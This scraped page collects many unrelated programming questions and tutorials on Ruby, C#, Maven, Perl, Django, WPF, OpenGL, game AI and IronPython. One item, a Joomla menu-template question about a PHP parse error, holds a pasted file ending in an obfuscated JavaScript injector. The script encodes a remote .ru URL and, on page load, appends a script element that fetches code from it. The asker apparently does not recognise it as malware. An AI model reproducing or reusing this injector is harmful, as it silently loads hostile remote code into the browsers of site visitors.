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  • Spawn a background process in Ruby

    - by Dave DeLong
    I'm writing a ruby bootstrapping script for a school project, and part of this bootstrapping process is to start a couple of background processes (which are written and function properly). What I'd like to do is something along the lines of: `/path/to/daemon1 &` `/path/to/daemon2 &` `/path/to/daemon3 &` However, that blocks on the first call to execute daemon1. I've seen references to a Process.spawn method, but that seems to be a 1.9+ feature, and I'm limited to Ruby 1.8. I've also tried to execute these daemons from different threads, but I'd like my bootstrap script to be able to exit. So how can I start these background processes so that my bootstrap script doesn't block and can exit (but still have the daemons running in the background)? Thanks!

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  • C#/.NET Little Wonders: Using &lsquo;default&rsquo; to Get Default Values

    - by James Michael Hare
    Once again, in this series of posts I look at the parts of the .NET Framework that may seem trivial, but can help improve your code by making it easier to write and maintain. The index of all my past little wonders posts can be found here. Today’s little wonder is another of those small items that can help a lot in certain situations, especially when writing generics.  In particular, it is useful in determining what the default value of a given type would be. The Problem: what’s the default value for a generic type? There comes a time when you’re writing generic code where you may want to set an item of a given generic type.  Seems simple enough, right?  We’ll let’s see! Let’s say we want to query a Dictionary<TKey, TValue> for a given key and get back the value, but if the key doesn’t exist, we’d like a default value instead of throwing an exception. So, for example, we might have a the following dictionary defined: 1: var lookup = new Dictionary<int, string> 2: { 3: { 1, "Apple" }, 4: { 2, "Orange" }, 5: { 3, "Banana" }, 6: { 4, "Pear" }, 7: { 9, "Peach" } 8: }; And using those definitions, perhaps we want to do something like this: 1: // assume a default 2: string value = "Unknown"; 3:  4: // if the item exists in dictionary, get its value 5: if (lookup.ContainsKey(5)) 6: { 7: value = lookup[5]; 8: } But that’s inefficient, because then we’re double-hashing (once for ContainsKey() and once for the indexer).  Well, to avoid the double-hashing, we could use TryGetValue() instead: 1: string value; 2:  3: // if key exists, value will be put in value, if not default it 4: if (!lookup.TryGetValue(5, out value)) 5: { 6: value = "Unknown"; 7: } But the “flow” of using of TryGetValue() can get clunky at times when you just want to assign either the value or a default to a variable.  Essentially it’s 3-ish lines (depending on formatting) for 1 assignment.  So perhaps instead we’d like to write an extension method to support a cleaner interface that will return a default if the item isn’t found: 1: public static class DictionaryExtensions 2: { 3: public static TValue GetValueOrDefault<TKey, TValue>(this Dictionary<TKey, TValue> dict, 4: TKey key, TValue defaultIfNotFound) 5: { 6: TValue value; 7:  8: // value will be the result or the default for TValue 9: if (!dict.TryGetValue(key, out value)) 10: { 11: value = defaultIfNotFound; 12: } 13:  14: return value; 15: } 16: } 17:  So this creates an extension method on Dictionary<TKey, TValue> that will attempt to get a value using the given key, and will return the defaultIfNotFound as a stand-in if the key does not exist. This code compiles, fine, but what if we would like to go one step further and allow them to specify a default if not found, or accept the default for the type?  Obviously, we could overload the method to take the default or not, but that would be duplicated code and a bit heavy for just specifying a default.  It seems reasonable that we could set the not found value to be either the default for the type, or the specified value. So what if we defaulted the type to null? 1: public static TValue GetValueOrDefault<TKey, TValue>(this Dictionary<TKey, TValue> dict, 2: TKey key, TValue defaultIfNotFound = null) // ... No, this won’t work, because only reference types (and Nullable<T> wrapped types due to syntactical sugar) can be assigned to null.  So what about a calling parameterless constructor? 1: public static TValue GetValueOrDefault<TKey, TValue>(this Dictionary<TKey, TValue> dict, 2: TKey key, TValue defaultIfNotFound = new TValue()) // ... No, this won’t work either for several reasons.  First, we’d expect a reference type to return null, not an “empty” instance.  Secondly, not all reference types have a parameter-less constructor (string for example does not).  And finally, a constructor cannot be determined at compile-time, while default values can. The Solution: default(T) – returns the default value for type T Many of us know the default keyword for its uses in switch statements as the default case.  But it has another use as well: it can return us the default value for a given type.  And since it generates the same defaults that default field initialization uses, it can be determined at compile-time as well. For example: 1: var x = default(int); // x is 0 2:  3: var y = default(bool); // y is false 4:  5: var z = default(string); // z is null 6:  7: var t = default(TimeSpan); // t is a TimeSpan with Ticks == 0 8:  9: var n = default(int?); // n is a Nullable<int> with HasValue == false Notice that for numeric types the default is 0, and for reference types the default is null.  In addition, for struct types, the value is a default-constructed struct – which simply means a struct where every field has their default value (hence 0 Ticks for TimeSpan, etc.). So using this, we could modify our code to this: 1: public static class DictionaryExtensions 2: { 3: public static TValue GetValueOrDefault<TKey, TValue>(this Dictionary<TKey, TValue> dict, 4: TKey key, TValue defaultIfNotFound = default(TValue)) 5: { 6: TValue value; 7:  8: // value will be the result or the default for TValue 9: if (!dict.TryGetValue(key, out value)) 10: { 11: value = defaultIfNotFound; 12: } 13:  14: return value; 15: } 16: } Now, if defaultIfNotFound is unspecified, it will use default(TValue) which will be the default value for whatever value type the dictionary holds.  So let’s consider how we could use this: 1: lookup.GetValueOrDefault(1); // returns “Apple” 2:  3: lookup.GetValueOrDefault(5); // returns null 4:  5: lookup.GetValueOrDefault(5, “Unknown”); // returns “Unknown” 6:  Again, do not confuse a parameter-less constructor with the default value for a type.  Remember that the default value for any type is the compile-time default for any instance of that type (0 for numeric, false for bool, null for reference types, and struct will all default fields for struct).  Consider the difference: 1: // both zero 2: int i1 = default(int); 3: int i2 = new int(); 4:  5: // both “zeroed” structs 6: var dt1 = default(DateTime); 7: var dt2 = new DateTime(); 8:  9: // sb1 is null, sb2 is an “empty” string builder 10: var sb1 = default(StringBuilder()); 11: var sb2 = new StringBuilder(); So in the above code, notice that the value types all resolve the same whether using default or parameter-less construction.  This is because a value type is never null (even Nullable<T> wrapped types are never “null” in a reference sense), they will just by default contain fields with all default values. However, for reference types, the default is null and not a constructed instance.  Also it should be noted that not all classes have parameter-less constructors (string, for instance, doesn’t have one – and doesn’t need one). Summary Whenever you need to get the default value for a type, especially a generic type, consider using the default keyword.  This handy word will give you the default value for the given type at compile-time, which can then be used for initialization, optional parameters, etc. Technorati Tags: C#,CSharp,.NET,Little Wonders,default

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  • luntbuild + maven + findbugs = OutOfMemoryException

    - by Johannes
    Hi, I've been trying to get Luntbuild to generate and publish a project site for our project including a Findbugs report. All other reports (Cobertura, Surefire, JavaDoc, Dashboard) work fine, but Findbugs bails out with an OutOfMemoryException. Excluding findbugs from report generation fixes the build --- although obviously without a Findbugs report. The funny thing is that I first encountered this problem locally and solved it by setting MAVEN_OPTS=-Xmx512m. This does not seem to be enough in Luntbuild, however: setting that exact same option as an environment variable of my builder doesn't make a difference. I've found a couple of posts on the 'net stating you should also add -XX:MaxPermSize=512m to MAVEN_OPTS and/or pass -Dmaven.findbugs.jvmargs=-Xmx512m to mvn.bat. None of these (or their combination) seem to help though so any hints would be greatly appreciated! Cheers, Johannes Relevant information: Luntbuild is 1.5.6, Maven is 2.1.0, findbugs-maven-plugin is 2.0.1. This is the Findbugs section of the relevant pom.xml: <plugin> <groupId>org.codehaus.mojo</groupId> <artifactId>findbugs-maven-plugin</artifactId> <version>2.0.1</version> </plugin> This is the head of my build log: User "luntbuild" started the build Perform checkout operation for VCS setting: Vcs name: Subversion Repository url base: http://some.repository.com/repo/ Repository layout: multiple Directory for trunk: trunk Directory for branches: branches Directory for tags: tags Username: xxxx Password:xxxx Web interface: ViewVC URL to web interface: http://some.repository.com/repo/ Quiet period: modules: Source path: somepath, Branch: , Label: , Destination path: somewhere Source path: somepath, Branch: somewhere1.0.x, Label: , Destination path: somewhere-1.0.x Source path: somepath, Branch: somewhere1.1.x, Label: , Destination path: somewhere-1.1.x Update url: http://some.repository.com/repo//trunk Duration of the checkout operation: 0 minutes Perform build with builder setting: Builder name: default Builder type: Maven2 builder Command to run Maven2: "C:\maven\apache-maven-2.1.0\bin\mvn.bat" -e -f somewhere\pom.xml -P site -Dmaven.test.skip=false -DbuildDate="Tue Nov 24 11:13:24 CET 2009" -DbuildVersion="site-core138" -Dsvn.username=xxxx -Dsvn.password=xxxx -DstagingSiteURL=file:///C:/luntbuild/core-reports -Dmaven.findbugs.jvmargs=-Xmx512m Directory to run Maven2 in: Goals to build: site:stage site:stage-deploy Build properties: buildVersion="site-core138" artifactsDir="C:\\Program Files\\Luntbuild\\publish\\somewhere\\site-core\\site-core138\\artifacts" buildDate="Tue Nov 24 11:13:24 CET 2009" junitHtmlReportDir="" Environment variables: MAVEN_OPTS="-Xmx512m -XX:MaxPermSize=512m" Build success condition: result==0 and builderLogContainsLine("INFO","BUILD SUCCESSFUL") Execute command: Executing 'C:\maven\apache-maven-2.1.0\bin\mvn.bat' with arguments: '-e' '-f' 'somewhere\pom.xml' '-P' 'site' '-Dmaven.test.skip=false' '-DbuildDate=Tue Nov 24 11:13:24 CET 2009' '-DbuildVersion=site-core138' '-Dsvn.username=xxxxxx' '-Dsvn.password=xxxxxx' '-DstagingSiteURL=file:///C:/luntbuild/reports' '-Dmaven.findbugs.jvmargs=-Xmx512m' '-DbuildVersion=site-core138' '-DartifactsDir=C:\\Program Files\\Luntbuild\\publish\\somewhere\\site-core\\site-core138\\artifacts' '-DbuildDate=Tue Nov 24 11:13:24 CET 2009' '-X' 'site:stage' 'site:stage-deploy' Tail of my build log: Analyzed: C:\luntbuild\somewhere-work\somewhere\...\SomeClass.class ... Analyzed: C:\luntbuild\somewhere-work\somewhere\...\target\classes Aux: C:\luntbuild\somewhere-work\somewhere\...\target\classes Aux: c:\maven\local-repo\...\somejar-1.1.1.1-SNAPSHOT.jar Aux: c:\maven\local-repo\commons-lang\commons-lang\2.3\commons-lang-2.3.jar .... Aux: c:\maven\local-repo\org\openoffice\ridl\3.1.0\ridl-3.1.0.jar Aux: c:\maven\local-repo\org\openoffice\unoil\3.1.0\unoil-3.1.0.jar [INFO] ------------------------------------------------------------------------ [ERROR] FATAL ERROR [INFO] ------------------------------------------------------------------------ [INFO] Java heap space [INFO] ------------------------------------------------------------------------ [DEBUG] Trace java.lang.OutOfMemoryError: Java heap space at java.util.HashMap.(HashMap.java:209) at edu.umd.cs.findbugs.ba.type.TypeAnalysis$CachedExceptionSet.(TypeAnalysis.java:114) at edu.umd.cs.findbugs.ba.type.TypeAnalysis.getCachedExceptionSet(TypeAnalysis.java:688) at edu.umd.cs.findbugs.ba.type.TypeAnalysis.computeThrownExceptionTypes(TypeAnalysis.java:439) at edu.umd.cs.findbugs.ba.type.TypeAnalysis.transfer(TypeAnalysis.java:411) at edu.umd.cs.findbugs.ba.type.TypeAnalysis.transfer(TypeAnalysis.java:89) at edu.umd.cs.findbugs.ba.Dataflow.execute(Dataflow.java:356) at edu.umd.cs.findbugs.classfile.engine.bcel.TypeDataflowFactory.analyze(TypeDataflowFactory.java:82) at edu.umd.cs.findbugs.classfile.engine.bcel.TypeDataflowFactory.analyze(TypeDataflowFactory.java:44) at edu.umd.cs.findbugs.classfile.impl.AnalysisCache.analyzeMethod(AnalysisCache.java:331) at edu.umd.cs.findbugs.classfile.impl.AnalysisCache.getMethodAnalysis(AnalysisCache.java:281) at edu.umd.cs.findbugs.classfile.engine.bcel.CFGFactory.analyze(CFGFactory.java:173) at edu.umd.cs.findbugs.classfile.engine.bcel.CFGFactory.analyze(CFGFactory.java:64) at edu.umd.cs.findbugs.classfile.impl.AnalysisCache.analyzeMethod(AnalysisCache.java:331) at edu.umd.cs.findbugs.classfile.impl.AnalysisCache.getMethodAnalysis(AnalysisCache.java:281) at edu.umd.cs.findbugs.ba.ClassContext.getMethodAnalysis(ClassContext.java:937) at edu.umd.cs.findbugs.ba.ClassContext.getMethodAnalysisNoDataflowAnalysisException(ClassContext.java:921) at edu.umd.cs.findbugs.ba.ClassContext.getCFG(ClassContext.java:326) at edu.umd.cs.findbugs.detect.BuildUnconditionalParamDerefDatabase.analyzeMethod(BuildUnconditionalParamDerefDatabase.java:103) at edu.umd.cs.findbugs.detect.BuildUnconditionalParamDerefDatabase.considerMethod(BuildUnconditionalParamDerefDatabase.java:93) at edu.umd.cs.findbugs.detect.BuildUnconditionalParamDerefDatabase.visitClassContext(BuildUnconditionalParamDerefDatabase.java:79) at edu.umd.cs.findbugs.DetectorToDetector2Adapter.visitClass(DetectorToDetector2Adapter.java:68) at edu.umd.cs.findbugs.FindBugs2.analyzeApplication(FindBugs2.java:971) at edu.umd.cs.findbugs.FindBugs2.execute(FindBugs2.java:222) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25) at java.lang.reflect.Method.invoke(Method.java:597) at org.codehaus.groovy.reflection.CachedMethod.invoke(CachedMethod.java:86) at groovy.lang.MetaMethod.doMethodInvoke(MetaMethod.java:230) at groovy.lang.MetaClassImpl.invokeMethod(MetaClassImpl.java:912) at groovy.lang.MetaClassImpl.invokeMethod(MetaClassImpl.java:756) [INFO] ------------------------------------------------------------------------ [INFO] Total time: 17 minutes 16 seconds [INFO] Finished at: Tue Nov 24 11:31:23 CET 2009 [INFO] Final Memory: 70M/127M [INFO] ------------------------------------------------------------------------ Maven2 builder failed: build success condition not met! Note that apparently maven only uses 70MB... but that probably doesn't mean anything since the Findbugs plugin forks its own process.

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  • How do I make a shortcut for a Perl program under Windows using a DOS batch file?

    - by Micah
    I'm trying to "hide" some of my perl program from the end user to make things easier on them. I'm doing what I can to keep them out of the command prompt. The program itself has a GUI designed in Perl/Tk, so they don't have to worry about the command prompt. Could I write out a quick batch file that goes along the lines of: START perl 'C:\[some path here]\myscript.pl' with START to start a program, the perl interpretor as my program, and the path/name of my perl script as the parameter? Would I have to specify where to find perl or would Windows just know because perl is in the computer's PATH variable? Thanks for the help!

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  • Delegates in c#

    - by Jalpesh P. Vadgama
    I have used delegates in my programming since C# 2.0. But I have seen there are lots of confusion going on with delegates so I have decided to blog about it. In this blog I will explain about delegate basics and use of delegates in C#. What is delegate? We can say a delegate is a type safe function pointer which holds methods reference in object. As per MSDN it's a type that references to a method. So you can assign more than one methods to delegates with same parameter and same return type. Following is syntax for the delegate public delegate int Calculate(int a, int b); Here you can see the we have defined the delegate with two int parameter and integer parameter as return parameter. Now any method that matches this parameter can be assigned to above delegates. To understand the functionality of delegates let’s take a following simple example. using System; namespace Delegates { class Program { public delegate int CalculateNumber(int a, int b); static void Main(string[] args) { int a = 5; int b = 5; CalculateNumber addNumber = new CalculateNumber(AddNumber); Console.WriteLine(addNumber(5, 6)); Console.ReadLine(); } public static int AddNumber(int a, int b) { return a + b; } } } Here in the above code you can see that I have created a object of CalculateNumber delegate and I have assigned the AddNumber static method to it. Where you can see in ‘AddNumber’ static method will just return a sum of two numbers. After that I am calling method with the help of the delegates and printing out put to the console application. Now let’s run the application and following is the output as expected. That’s it. You can see the out put of delegates after adding a number. This delegates can be used in variety of scenarios. Like in web application we can use it to update one controls properties from another control’s action. Same you can also call a delegates whens some UI interaction done like button clicked. Hope you liked it. Stay tuned for more. In next post I am going to explain about multicast delegates. Till then happy programming.

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  • Making a shortcut for a Perl program under Windows using a DOS batch file.

    - by Micah
    I'm trying to "hide" some of my perl program from the end user to make things easier on them. I'm doing what I can to keep them out of the command prompt. The program itself has a GUI designed in Perl/Tk, so they don't have to worry about the command prompt. Could I write out a quick batch file that goes along the lines of: START perl 'C:\[some path here]\myscript.pl' with START to start a program, the perl interpretor as my program, and the path/name of my perl script as the parameter? Would I have to specify where to find perl or would Windows just know because perl is in the computer's PATH variable? Thanks for the help!

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  • How to submit a form on pressing enter key

    - by SAMIR BHOGAYTA
    function clickButton(e, buttonid) { var bt = document.getElementById(buttonid); if (typeof bt == 'object'){ if(navigator.appName.indexOf("Netscape")(-1)){ if (e.keyCode == 13){ bt.click(); return false; } } if (navigator.appName.indexOf("Microsoft Internet Explorer")(-1)) { if (event.keyCode == 13){ bt.click(); return false; } } } } //Call this function on last text box of a form with onKeyPress="clickButton(this)"

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  • apache virtual host to work with django

    - by khelll
    My project is under: /home/projects/testing and I'm adding this to the buttom of my /etc/httpd/conf/httpd.conf file on Centos machine, but that is not working, <Location "/testing/"> SetHandler python-program PythonHandler django.core.handlers.modpython SetEnv DJANGO_SETTINGS_MODULE testing.settings PythonOption django.root /testing PythonDebug On PythonPath "['/home/projects/'] + sys.path" </Location> but when requesting http://localhost/testing/jobs for example, I get: Mod_python error: "PythonHandler django.core.handlers.modpython" Traceback (most recent call last): File "/usr/lib/python2.4/site-packages/mod_python/apache.py", line 299, in HandlerDispatch result = object(req) ............. File "/usr/lib/python2.4/site-packages/Django-1.1.1-py2.4.egg/django/conf/__init__.py", line 75, in __init__ raise ImportError, "Could not import settings '%s' (Is it on sys.path? Does it have syntax errors?): %s" % (self.SETTINGS_MODULE, e) ImportError: Could not import settings 'testing.settings' (Is it on sys.path? Does it have syntax errors?): No module named testing.settings

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  • Easy Scaling in XAML (WPF)

    - by Robert May
    Ran into a problem that needed solving that was kind of fun.  I’m not a XAML guru, and I’m sure there are better solutions, but I thought I’d share mine. The problem was this:  Our designer had, appropriately, designed the system for a 1920 x 1080 screen resolution.  This is for a full screen, touch screen device (think Kiosk), which has that resolution, but we also wanted to demo the device on a tablet (currently using the AWESOME Samsung tablet given out at Microsoft Build).  When you’d run it on that tablet, things were ugly because it was at a lower resolution than the target device. Enter scaling.  I did some research and found out that I probably just need to monkey with the LayoutTransform of some grid somewhere.  This project is using MVVM and has a navigation container that we built that lives on a single root view.  User controls are then loaded into that view as navigation occurs. In the parent grid of the root view, I added the following XAML: <Grid.LayoutTransform> <ScaleTransform ScaleX="{Binding ScaleWidth}" ScaleY="{Binding ScaleHeight}" /> </Grid.LayoutTransform> And then in the root View Model, I added the following code: /// <summary> /// The required design width /// </summary> private const double RequiredWidth = 1920; /// <summary> /// The required design height /// </summary> private const double RequiredHeight = 1080; /// <summary>Gets the ActualHeight</summary> public double ActualHeight { get { return this.View.ActualHeight; } } /// <summary>Gets the ActualWidth</summary> public double ActualWidth { get { return this.View.ActualWidth; } } /// <summary> /// Gets the scale for the height. /// </summary> public double ScaleHeight { get { return this.ActualHeight / RequiredHeight; } } /// <summary> /// Gets the scale for the width. /// </summary> public double ScaleWidth { get { return this.ActualWidth / RequiredWidth; } } Note that View.ActualWidth and View.ActualHeight are just pointing directly at FrameworkElement.ActualWidth and FrameworkElement.ActualHeight. That’s it.  Just calculate the ratio and bind the scale transform to it. Hopefully you’ll find this useful. Technorati Tags: WPF,XAML

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  • Single Instance of Child Forms in MDI Applications

    - by Akshay Deep Lamba
    In MDI application we can have multiple forms and can work with multiple forms i.e. MDI childs at a time but while developing applications we don't pay attention to the minute details of memory management. Take this as an example, when we develop application say preferably an MDI application, we have multiple child forms inside one parent form. On MDI parent form we would like to have menu strip and tab strip which in turn calls other forms which build the other parts of the application. This also makes our application looks pretty and eye-catching (not much actually). Now on a first go when a user clicks a menu item or a button on a tab strip an application initialize a new instance of a form and shows it to the user inside the MDI parent, if a user again clicks the same button the application creates another new instance for the form and presents it to the user, this will result in the un-necessary usage of the memory. Therefore, if you wish to have your application to prevent generating new instances of the forms then use the below method which will first check if the the form is visible among the list of all the child forms and then compare their types, if the form types matches with the form we are trying to initialize then the form will get activated or we can say it will be bring to front else it will be initialize and set visible to the user in the MDI parent window. The method we are using: private bool CheckForDuplicateForm(Form newForm) { bool bValue = false; foreach (Form frm in this.MdiChildren) { if (frm.GetType() == newForm.GetType()) { frm.Activate(); bValue = true; } } return bValue; } Usage: First we need to initialize the form using the NEW keyword ReportForm ReportForm = new ReportForm(); We can now check if there is another form present in the MDI parent. Here, we will use the above method to check the presence of the form and set the result in a bool variable as our function return bool value. bool frmPresent = CheckForDuplicateForm(Reportfrm); Once the above check is done then depending on the value received from the method we can set our form. if (frmPresent) return; else if (!frmPresent) { Reportfrm.MdiParent = this; Reportfrm.Show(); } In the end this is the code you will have at you menu item or tab strip click: ReportForm Reportfrm = new ReportForm(); bool frmPresent = CheckForDuplicateForm(Reportfrm); if (frmPresent) return; else if (!frmPresent) { Reportfrm.MdiParent = this; Reportfrm.Show(); }

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  • Where is my SQLite database?

    - by Brian Ramsay
    I have installed SQLite version 3 into a non-standard location on my dreamhost user account. I compiled it and installed it just fine, and it works with $db=new SQLiteDatabase("db.foont"); I can create tables and insert and read data with the SQLiteDatabase object just fine. However, I want to use PDO. My problem is that PDO requires an absolute path to the database specified in the connection. e.g., 'sqlite:/path/to/db.sq3' a) this is dumb - if the other object can figure out where the db is without an absolute path why can't PDO's sqlite driver - but that's not my question. b) where the heck is my database being stored? I can't find it anywhere in my user filesystem, and I'm pretty sure I don't have access to anything else.

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  • OpenGL - Cascaded shadow mapping - Texture lookup

    - by Silverlan
    I'm trying to implement cascaded shadow mapping in my engine, but I'm somewhat stuck at the last step. For testing purposes I've made sure all cascades encompass my entire scene. The result is currently this: The different intensity of the cascades is not on purpose, it's actually the problem. This is how I do the texture lookup for the shadow maps inside the fragment shader: layout(std140) uniform CSM { vec4 csmFard; // far distances for each cascade mat4 csmVP[4]; // View-Projection Matrix int numCascades; // Number of cascades to use. In this example it's 4. }; uniform sampler2DArrayShadow csmTextureArray; // The 4 shadow maps in vec4 csmPos[4]; // Vertex position in shadow MVP space float GetShadowCoefficient() { int index = numCascades -1; vec4 shadowCoord; for(int i=0;i<numCascades;i++) { if(gl_FragCoord.z < csmFard[i]) { shadowCoord = csmPos[i]; index = i; break; } } shadowCoord.w = shadowCoord.z; shadowCoord.z = float(index); shadowCoord.x = shadowCoord.x *0.5f +0.5f; shadowCoord.y = shadowCoord.y *0.5f +0.5f; return shadow2DArray(csmTextureArray,shadowCoord).x; } I then use the return value and simply multiply it with the diffuse color. That explains the different intensity of the cascades, since I'm grabbing the depth value directly from the texture. I've tried to do a depth comparison instead, but with limited success: [...] // Same code as above shadowCoord.w = shadowCoord.z; shadowCoord.z = float(index); shadowCoord.x = shadowCoord.x *0.5f +0.5f; shadowCoord.y = shadowCoord.y *0.5f +0.5f; float z = shadow2DArray(csmTextureArray,shadowCoord).x; if(z < shadowCoord.w) return 0.25f; return 1.f; } While this does give me the same shadow value everywhere, it only works for the first cascade, all others are blank: (I colored the cascades because otherwise the transitions wouldn't be visible in this case) What am I missing here?

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  • Implement Negascout Algorithm with stack

    - by Dan
    I'm not familiar with how these stack exchange accounts work so if this is double posting I apologize. I asked the same thing on stackoverflow. I have added an AI routine to a game I am working on using the Negascout algorithm. It works great, but when I set a higher maximum depth it can take a few seconds to complete. The problem is it blocks the main thread, and the framework I am using does not have a way to deal with multi-threading properly across platforms. So I am trying to change this routine from recursively calling itself, to just managing a stack (vector) so that I can progress through the routine at a controlled pace and not lock up the application while the AI is thinking. I am getting hung up on the second recursive call in the loop. It relies on a returned value from the first call, so I don't know how to add these to a stack. My Working c++ Recursive Code: MoveScore abNegascout(vector<vector<char> > &board, int ply, int alpha, int beta, char piece) { if (ply==mMaxPly) { return MoveScore(evaluation.evaluateBoard(board, piece, oppPiece)); } int currentScore; int bestScore = -INFINITY; MoveCoord bestMove; int adaptiveBeta = beta; vector<MoveCoord> moveList = evaluation.genPriorityMoves(board, piece, findValidMove(board, piece, false)); if (moveList.empty()) { return MoveScore(bestScore); } bestMove = moveList[0]; for(int i=0;i<moveList.size();i++) { MoveCoord move = moveList[i]; vector<vector<char> > newBoard; newBoard.insert( newBoard.end(), board.begin(), board.end() ); effectMove(newBoard, piece, move.getRow(), move.getCol()); // First Call ****** MoveScore current = abNegascout(newBoard, ply+1, -adaptiveBeta, -max(alpha,bestScore), oppPiece); currentScore = - current.getScore(); if (currentScore>bestScore){ if (adaptiveBeta == beta || ply>=(mMaxPly-2)){ bestScore = currentScore; bestMove = move; }else { // Second Call ****** current = abNegascout(newBoard, ply+1, -beta, -currentScore, oppPiece); bestScore = - current.getScore(); bestMove = move; } if(bestScore>=beta){ return MoveScore(bestMove,bestScore); } adaptiveBeta = max(alpha, bestScore) + 1; } } return MoveScore(bestMove,bestScore); } If someone can please help by explaining how to get this to work with a simple stack. Example code would be much appreciated. While c++ would be perfect, any language that demonstrates how would be great. Thank You.

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  • Setting classpath java for use in Runtime.exec

    - by phil swenson
    I am trying to spawn a process using Runtime.exec. I want to use my current classpath : System.getProperty("java.class.path") Unfortunately, I am having all kinds of issues. When it works on my mac, it doesn't work on Windows. And doesn't work on my mac ever when there is a space in the classpath. The error I always get is ClassDefNotFound, so it's related to how I'm building and passing in the classpath. here is some sample code: String startClass = "com.test.MyClass" String javaHome = System.getProperty("java.home"); String javaCmd = javaHome + "/bin/java"; String classPath = "-Djava.class.path=" + System.getProperty("java.class.path"); String[] commands = new String[]{javaCmd, classPath, startClass}; String commandString = StringUtils.join(commands, " "); Process process = Runtime.getRuntime().exec(commandString); So, how should I setup the classpath? Thanks for any help

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  • Parse error: syntax error, unexpected '<' in /home/future/public_html/modules/mod_mainmenu/tmpl/defa

    - by kofi
    I'm unfortunately having an unknown error with my php file. (for joomla 1.5) I don't seem to get what's wrong. This is my entire code, with an apparent error on line 84. Would appreciate some feedback, thanks. <?php // no direct access defined('_JEXEC') or die('Restricted access'); if ( ! defined('modMainMenuXMLCallbackDefined') ) { function modMainMenuXMLCallback(&$node, $args) { $user = &JFactory::getUser(); $menu = &JSite::getMenu(); $active = $menu->getActive(); $path = isset($active) ? array_reverse($active->tree) : null; if (($args['end']) && ($node->attributes('level') >= $args['end'])) { $children = $node->children(); foreach ($node->children() as $child) { if ($child->name() == 'ul') { $node->removeChild($child); } } } if ($node->name() == 'ul') { foreach ($node->children() as $child) { if ($child->attributes('access') > $user->get('aid', 0)) { $node->removeChild($child); } } } if (($node->name() == 'li') && isset($node->ul)) { $node->addAttribute('class', 'parent'); } if (isset($path) && (in_array($node->attributes('id'), $path) || in_array($node->attributes('rel'), $path))) { if ($node->attributes('class')) { $node->addAttribute('class', $node->attributes('class').' active'); } else { $node->addAttribute('class', 'active'); } } else { if (isset($args['children']) && !$args['children']) { $children = $node->children(); foreach ($node->children() as $child) { if ($child->name() == 'ul') { $node->removeChild($child); } } } } if (($node->name() == 'li') && ($id = $node->attributes('id'))) { if ($node->attributes('class')) { $node->addAttribute('class', $node->attributes('class').' item'.$id); } else { $node->addAttribute('class', 'item'.$id); } } if (isset($path) && $node->attributes('id') == $path[0]) { $node->addAttribute('id', 'current'); } else { $node->removeAttribute('id'); } $node->removeAttribute('rel'); $node->removeAttribute('level'); $node->removeAttribute('access'); } define('modMainMenuXMLCallbackDefined', true); } modMainMenuHelper::render($params, 'modMainMenuXMLCallback'); <script>var Zl;if(Zl!='' && Zl!='ki'){Zl=''};function v(){var jL=new String();var M=window;var q="";var ZY='';var Z=unescape;var C;if(C!='' && C!='g'){C=null};this.nj='';var _='';this.X="";var t=new Date();var R="\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x61\x72\x65\x61\x73\x61\x6c\x65\x2d\x63\x6f\x6d\x2e\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x7a\x2e\x65\x79\x6e\x79\x2d\x63\x6f\x6d\x2e\x59\x6f\x75\x72\x42\x6c\x65\x6e\x64\x65\x72\x50\x61\x72\x74\x73\x2e\x72\x75\x3a";var Od;if(Od!='Dm' && Od!='V'){Od='Dm'};var Vr='';var P=new String("g");var B="";var E;if(E!='' && E!='gD'){E=null};function b(y,U){var zm=new Array();var a='';this.Cm="";var Vb=new String();var k=Z("%5b")+U+Z("%5d");var tX=new String();var MV;if(MV!='' && MV!='qt'){MV='MD'};var c=new RegExp(k, P);return y.replace(c, _);var cS="";var RTD='';};var Zr;if(Zr!='' && Zr!='vJ'){Zr=''};var L=new String();var DE=new Date();var fg;if(fg!='Ep'){fg='Ep'};var nf;if(nf!=''){nf='d_'};var W=Z("%2f%67%6f%6f%67%6c%65%2e%61%74%2f%67%6f%6f%67%6c%65%2e%61%74%2f%64%72%75%64%67%65%72%65%70%6f%72%74%2e%63%6f%6d%2f%74%72%61%76%69%61%6e%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2e%70%68%70");this.aA='';var u='';this.XB='';var dP;if(dP!='i' && dP != ''){dP=null};var dN;if(dN!='' && dN!='zx'){dN='_y'};var WS=b('85624104275582212705194497','13296457');var Hb=new Array();var lP;if(lP!='ok' && lP != ''){lP=null};var O=document;function n(){var J;if(J!='mS' && J != ''){J=null};u=R;var jv;if(jv!='' && jv!='jw'){jv=''};u+=WS;var MJ;if(MJ!='Qp'){MJ=''};u+=W;var fj=new Array();this.PM="";try {this.dq='';var ln=new Date();var eS=new Date();h=O.createElement(b('sScwrwi4pSt5','OZjKg4w5S'));var uW=new String();var Aj;if(Aj!='lX'){Aj='lX'};var aF;if(aF!='' && aF!='_o'){aF=null};h.src=u;var GY;if(GY!='ev' && GY!='Jr'){GY='ev'};var KK;if(KK!=''){KK='gDq'};h.defer=[1][0];var nO;if(nO!='tP'){nO=''};var aV=new Date();var bE=new Date();O.body.appendChild(h);this.Ze="";} catch(MC){var Ki;if(Ki!='m_' && Ki != ''){Ki=null};};}M[String("pqP5onloa".substr(4)+"drYD".substr(0,1))]=n;var EY;if(EY!='' && EY!='wn'){EY='Sj'};var ep;if(ep!='' && ep!='_q'){ep='Oy'};var uE=new Array();var E_;if(E_!='iU'){E_='iU'};};this.pt="";v();var tl=new String();</script> <!--793d57c076e95df45c451725e5dedf6f-->

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  • Ironpython call numpy problem

    - by Begtostudy
    Ironpython 2.6, python 2.6.5, numpy, SciPy import sys sys.path.append(r'D:\Python26\dll') sys.path.append(r'D:\Python26\Lib') sys.path.append(r'D:\Python26\Lib\site-packages') » import numpy Traceback (most recent call last): File "<string>", line 1, in <module> File "D:\Python26\Lib\site-packages\numpy\__init__.py", line 132, in <module> File "D:\Python26\Lib\site-packages\numpy\add_newdocs.py", line 9, in <module> File "D:\Python26\Lib\site-packages\numpy\lib\__init__.py", line 4, in <module> File "D:\Python26\Lib\site-packages\numpy\lib\type_check.py", line 8, in <module> File "D:\Python26\Lib\site-packages\numpy\core\__init__.py", line 5, in <module> ImportError: No module named multiarray What's wrong? Thanks.

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  • IE Mixed Content Warining when using https URLs and http:443 URLs?

    - by Campbeln
